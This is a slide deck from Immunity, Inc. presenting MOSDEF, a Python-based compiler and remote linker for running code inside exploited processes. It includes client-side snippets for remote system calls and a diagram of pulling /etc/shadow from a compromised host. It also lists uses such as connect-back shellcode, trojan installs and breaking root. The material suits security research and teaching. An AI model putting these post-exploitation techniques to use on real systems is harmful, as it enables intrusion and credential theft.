An Introduction to MOSDEF

Dave Aitel
Immunity, Inc
http://www.immunitysec.com
Who am I?

- Founder, Immunity, Inc. NYC based consulting and products company
  - CANVAS: Exploitation Demonstration toolkit
  - BodyGuard: Solaris Kernel Forensics
  - SPIKE, SPIKE Proxy: Application and Protocol Assessment
- Vulns found in:
  - RealServer, IIS, Mdaemon, CDE, SQL Server 2000, WebSphere, Solaris, Windows 2000/XP/2003, etc
Definitions

- MOSDEF (mose-def) is short for “Most Definately”
- MOSDEF is a retargetable, position independent code, C compiler that supports dynamic remote code linking written in pure Python
- In short, after you've overflowed a process you can compile programs to run inside that process and report back to you
Why?

- To Support Immunity CANVAS
  - A sophisticated exploit development and demonstration tool
  - Supports every platform (potentially)
  - 100% pure Python
- To advance the state of the art in exploitation practices
What's Wrong with Current Post-Exploitation Techniques

Current Techniques

- Standard execve(“/bin/sh”)
  - Or Windows CreateProcess(“cmd.exe”)
- LSD-Style assembly components
- Stack-transfer or “syscall-redirection”
- Remote ELF/DLL-injection directly from memory
Unix: execve("/bin/sh")

- Does not work against chrooted() hosts
  – sometimes you cannot unchroot with a simple shellcode
- Annoying to transfer files with echo, printf, and uuencode
- Cannot easily do portforwarding or other advanced requirements
Windows (cmd.exe redir)

- Loses all current authentication tokens, handles to other processes/files, or other privileged access
- VERY annoying to transfer files
- Cannot easily do portforwarding or other advanced requirements
Additionally

Blobs of “shellcode” inside exploits are impossible to adapt and debug

– Going to GCC every time you want to modify an exploit's shellcode is a pain

– Testing and debugging shellcode can waste valuable hours that should be spent coding SPIKE scripts
LSD-style Assembly Components

Only semi-flexible

- Not well oriented towards complex interactions, such as calling CreateProcessAsUser(), fixing a heap, or other advanced techniques while staying in-process to maintain security access tokens and other resources
Little actual connectivity to back-end

- Choice is to “choose a component” rather than implement any intelligence into your exploits
  
i.e. I want to exploit a process, then if there is an administrative token in it, I want to offer the user the chance to switch to that for file access. Perhaps later he will want to switch back or try a different token in the process
LSD-style is not extensible

- Writing assembly components for your infrastructure is manpower intensive
  - Each component must be written in assembly by hand
    - Can you imagine writing a portforwarder in assembly?
  - Interacting with the components is done via C – a poor language for large scale projects
Remote ELF/DLL-Injection

Summary of technique:

- First stage connects back and downloads a larger second stage payload (this is similar to every technique)
- Second stage payload downloads a large block of memory (the DLL or ELF) and loads that into the memory space of the target process
- The new ELF/DLL is relocated into that memory space
- Any function pointers needed are set to be correct
- Execution continues in the new ELF/DLL, with the current socket handle passed to it as an argument or global variable
ELF-Injection Benefits

- Once second stage relocator payload is done, no more shellcode has to be written ever again
- Running an ELF (.so) or DLL image within the process lets you do anything you can do in C
- Fits in nicely with most of the other post-exploitation techniques
ELF-Injection Downsides

- Writing a loader shellcode is somewhat difficult
  - No open source examples, although this will most likely change
- Loader shellcode has to be rewritten for all new architectures or platforms
- Maintaining a C DLL/ELF server and a C/Python client for that server can be a significant effort
Shellcode Missions

Shellcode can be thought of as two processes
Shellcode Missions

- Step 1 is to establish back-connectivity
- Step 2 is to run a mission
Establishing Back-Connectivity

Step 1 is to establish back-connectivity

- Connect-back
- Steal Socket
- Listen on a TCP/UDP port
- Don't establish any back-connectivity (if mission does not require/cannot get any)
Running a Mission

Step 2 is to run a mission

- Recon
- Trojan Install
- Etc

Exploited Process

Shellcode

Attacker
Running a Mission

Missions are supported by various services from the shellcode

- Shell access
- File transfer
- Privileged manipulation

Exploited Process

Shellcode

Attacker
Missions are poorly supported by traditional execve() shellcode

- Confuses “pop a shell” with the true mission
- Moving the mission and the connectivity code into the same shellcode makes for big unwieldy shellcode
Mission Split

Solution: split the mission from the stage1 shellcode

- Smaller, more flexible shellcode
Mission Split

Solution: split the mission from the stage 1 shellcode

- Smaller, more flexible shellcode
- Simple paradigm: download more shellcode and execute it
Stage 2

Options:
- Send traditional execve() shellcode
  - Or similar 1-shot mission shellcode
- Establish remote stack-swapping service
- Establish remote MOSDEF service
- Load and relocate an ELF/DLL

Exploited Process

Attacker

Connectivity
Shellcode

Mission belongs here

What to do!
Stack Swapping

Aka “Syscall redirection”:

3 steps:

– Send a stack and a function pointer/system call number
– Remote shellcode stub executes function pointer/system call using stack sent over
– Entire stack is sent back

Exploited Process

Attacker

Connectivity Shellcode

[addr][stack]

[stack][result]

Mission belongs here
Stack Swapping - Benefits

Interactive with remote machine:

- Allows for interactive mission support on top of fairly simple shellcode
Most function arguments on Unix are easy tomarshal and demarshall

```python
def unlink(self, path):
    ""
    Deletes a file - returns -1 on error
    ""
    self.setreg("call", posixsyscalls["unlink"])
    self.setreg("arg1", self.ESP)

    request=""
    request+=sunstring(path)
    self.sendrequest(request)
    result=self.readresult()
    ret=self.unorder(result[0:4])
    return ret

def setuid(self, uid):
    self.setreg("call", posixsyscalls["setuid"])
    self.setreg("arg1", uid)

    request=""
    self.sendrequest(request)
    result=self.readresult()
    ret=self.unorder(result[0:4])
    return ret
```
Stack Swapping - Benefits

Most missions can be supported with relatively few remotely executed functions

- Execute a command
- Transfer a File
- Chdir()
- Chroot()
- Popen()

Original stack swapping shellcode is quite simple to write and use
Stack Swapping - Problems

- By definition, stack-swapping precludes sending executable code, only data is sent over, along with a function pointer.
- By definition, simple one request, one response protocol.
Stack Swapping - Problems

- Fork() becomes a real problem
  - Solution: set a fake syscall number for “exec the stack buffer”
  - Have to write fork()+anything in assembly
  - Not a nicely portable solution
  - Makes our shellcode more complex
  - Still cannot return a different error message for when the fork() fails versus when the execve() fails
Stack Swapping - Problems

- You cannot share a socket with stack swapping shellcode
  - Technically you could write some quite large shellcode that used a mutex to do more than one function call at a time, but each function call is still just one function call, without executable logic, loops, or if statements
- Only executing one function call at a time makes repeated operations tedious
  - China's pingtime is 1 second from my network
  - Those who do not use TCP are doomed to repeat it
def download(self, source, dest):
    """
    downloads a file from the remote server
    """
    infile = self.open(source, O_NOMODE) # CALLS REMOTE SERVER
    if infile == -1:
        return "Couldn't open remote file %s, sorry."%source
    if os.path.isdir(dest):
        dest = os.path.join(dest, source)
    outfile = open(dest, "wb")
    if outfile == None:
        return "Couldn't open local file %s"%dest
    self.log( "infile = %8.8x"%infile)
    data = "A"
    size = 0
    while data != "":
        data = self.read(infile) # CALLS REMOTE SERVER
        size += len(data)
        outfile.write(data)
        self.close(infile) # CALLS REMOTE SERVER
    outfile.close()
    return "Read %d bytes of data into %s"%(size, dest)
File download protocol from randomhost.cn

Exploited Process

Stack Swapping Shellcode

Attacker

```
while data != "":
    data = self.read(infile)
    size += len(data)
    outfile.write(data)
    self.close(infile)

open(/etc/shadow)
o1 = 4

read(4, 1000 bytes)
%O1 = 1000
1000 bytes
read(4, 1000 bytes)
%O1 = 1000
1000 bytes
close(4)
%O1 = 0
```
Stack Swapping - Problems

ETA = 1 second * (sizeof(file)/1000) + 2

Exploited Process

Stack
Swapping
Shellcode

Attacker

open(/etc/shadow)

o1=4

read(4, 1000 bytes)

%O1=1000

1000 bytes

while data!="":

data=self.read(infile)

size+=len(data)

outfile.write(data)

self.close(infile)

close(4)

%O1=0

%O1=1000

1000 bytes
Stack Swapping - Problems

- All iterative operations take 1 second * n in China
  - Finding valid thread tokens
  - Downloading and uploading files
  - Executing commands with large output
  - Things I haven't thought of but may want to do in the future
- “But usually you have a fast network!”
- “You can always hand-code these things as a special case to make it faster!”
Current Post-Exploitation Techniques - Problems

- Inefficient network protocols
- Inability to do more than one thing at a time
- Complex functions require painful hand marshalling and demarshalling – or the creation of IDL files and an automatic IDL marshaller, which is just as bad
- Common requirements, such as fexec() and GetLastError() require special casing – a bad sign
- Cannot port from one architecture to the other nicely
MOSDEF design requirements

- Efficient network protocol

- The ability to do more than one thing at a time
  - I want cross-platform job control in my shellcode!

- No hand marshalling/demarshalling

- No need to special case fork() or GetLastError()

- Port from one architecture to the other nicely
MOSDEF sample

Compare and Contrast Stack Swapping with MOSDEF

def creat(self,filename):
    ""
    inputs: the filename to open
    outputs: returns -1 on failure, otherwise a file handle
    truncates the file if possible and it exists
    ""
    addr=self.getprocaddress("kernel32.dll","_lcreat")
    if addr==0:
        print "Failed to find lcreat function!"
        return -1

    #ok, now we know the address of lcreat
    request=intel_order(addr)
    request+=intel_order(self.ESP+0xc) #addr filename
    request+=intel_order(0) #mode
    request+=filename+chr(0) #filename and null term.
    self.sendrequest(request)
    result=self.readresult()
    fd=istr2int(result[:4])
    return fd

def lcreat(self,filename):
    ""
    inputs: the filename to open
    outputs: returns -1 on failure, otherwise a file handle
    truncates the file if possible and it exists
    ""
    request=self.compile(""
    #import "remote","Kernel32._lcreat" as "_lcreat"
    #import "local","sendint" as "sendint"
    #import "string","filename" as "filename"
    //start of code
    void main()
    {
        int i;
        i=_lcreat(filename,0);
        sendint(i);
    }
    "")

    self.sendrequest(request)
    fd=self.readint()
    return fd
What does this take?

```python
def lcreat(self, filename):
    """inputs: the filename to open
    outputs: returns -1 on failure, otherwise a file handle
    truncates the file if possible and it exists
    """

    request = self.compile(""
    #import "remote","Kernel32._lcreat" as "_lcreat"
    #import "local","sendint" as "sendint"
    #import "string","filename" as "filename"
    // start of code
    void main()
    {
        int i;
        i=_lcreat(filename,0);
        sendint(i);
    }
    ""

    self.sendrequest(request)
    fd = self.readint()
    return fd
```

A C compiler
An x86 assembler
A remote linker
MOSDEF portability

Internal architecture

Remote Linker

Cache

Target

C Code

Compiler

IL->ASM

AT&T x86

Assembler

Shellcode
MOSDEF network efficiencies

- While loops are moved to remote side and executed inside hacked process
- Only the information that is needed is sent back – write() only sends 4 bytes back
- Multiple paths can be executed
  - on error, you can send back an error message
  - On success you can send back a data structure
MOSDEF marshalling

[Un]Marshalling is done in C

- Easy to read, understand, modify
- Easy to port
  - Integers don't need re-endianing
  - Types can be re-used
Cross-platform job control

The main problem is how to share the outbound TCP socket

- What we really need is cross-platform locking
  - Unix (processes) flock()
  - Windows (threads) EnterCriticalSection()
- Now we can spin off a “process”, and have it report back!
  - The only things that change are sendint(), sendstring() and sendbuffer()
  - These change globally – our code does not need to be “thread aware”
Other benefits

- No special cases
- Having an assembler in pure python gives you the ability to finally get rid of giant blocks of "\xeb\xe1\xe4\xe4\xe1" in your exploits. You can just self.assemble() whatever you need
- Future work around finding smaller shellcode, writing shellcode without bad characters, polymorphic shellcode
Advanced MOSDEF

Applications for MOSDEF

- A SOCK5 proxy to allow exploits to be run through it, without knowing they were even using it
- Executing shell commands with full job control
- Transferring files quickly and easily
- Breaking root (most local exploits are in C already!)
- Adding an encryption layer transparent to all other MOSDEF applications
- Intelligently enabling your attack mission on the remote host
- Distributed password cracking
Licensing and Other Issues

- Immunity is a vulnerability information provider, not a software company
- CANVAS is best-of-breed vulnerability information delivery system
- MOSDEF supports that, but other people are free to build on and improve it and use it in their own free or commercial applications
- Hence, licensed under the LGPL
- http://www.immunitysec.com/MOSDEF/
Other Projects of Interest

- Hoon - http://felinemenance.org/~nd/
  - X86 AT&T assembler for shellcode written in Python

- Shellforge
  - A Python script to parse GCC generated .o files and generate shellcode
Conclusion

- MOSDEF is a new way to build attack infrastructures, avoiding many of the problems of earlier infrastructures
- Prevent hacker starvation – buy CANVAS for $995 today
- More information on this and other fun things at http://www.immunitysec.com/